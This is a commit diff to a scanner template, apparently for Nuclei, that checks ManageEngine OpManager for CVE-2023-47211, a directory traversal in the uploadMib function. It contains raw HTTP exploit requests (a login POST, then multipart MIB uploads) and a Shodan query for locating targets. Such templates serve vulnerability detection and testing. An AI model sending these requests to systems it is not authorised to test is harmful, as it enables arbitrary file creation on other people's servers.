Update CVE-2023-47211.yaml

http/cves/2023/CVE-2023-47211.yaml

@@ -7,8 +7,8 @@ info:
   description: |
     A directory traversal vulnerability exists in the uploadMib functionality of ManageEngine OpManager 12.7.258. A specially crafted HTTP request can lead to arbitrary file creation. An attacker can send a malicious MiB file to trigger this vulnerability.
   reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2023-47211
     - https://talosintelligence.com/vulnerability_reports/TALOS-2023-1851
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-47211
   classification:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 8.6
@@ -20,17 +20,13 @@ info:
   metadata:
     max-request: 1
     shodan-query: http.title:"OpManager Plus"
-  tags: cve,cve2023,zoho,manageengine,authenticated,traversal
+  tags: cve,cve2023,zoho,manageengine,authenticated,traversal,lfi
 
 http:
   - raw:
       - |
         POST /two_factor_auth HTTP/1.1
         Host: {{Hostname}}
-        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
-        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
-        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
         Content-Type: application/x-www-form-urlencoded
 
         j_username={{username}}&j_password={{password}}
@@ -39,7 +35,6 @@ http:
         POST /client/api/json/mibbrowser/uploadMib HTTP/1.1
         Host: {{Hostname}}
         X-ZCSRF-TOKEN: opmcsrftoken={{x_zcsrf_token}}
-        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
         Content-Type: multipart/form-data; boundary=---------------------------372334936941313273904263503262
 
         -----------------------------372334936941313273904263503262
@@ -71,7 +66,6 @@ http:
         POST /client/api/json/mibbrowser/uploadMib HTTP/1.1
         Host: {{Hostname}}
         X-ZCSRF-TOKEN: opmcsrftoken={{x_zcsrf_token}}
-        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
         Content-Type: multipart/form-data; boundary=---------------------------372334936941313273904263503262
 
         -----------------------------372334936941313273904263503262
@@ -99,7 +93,8 @@ http:
 
         -----------------------------372334936941313273904263503262--
 
-    redirects: true
+    host-redirects: true
+    max-redirects: 3
     matchers:
       - type: dsl
         dsl: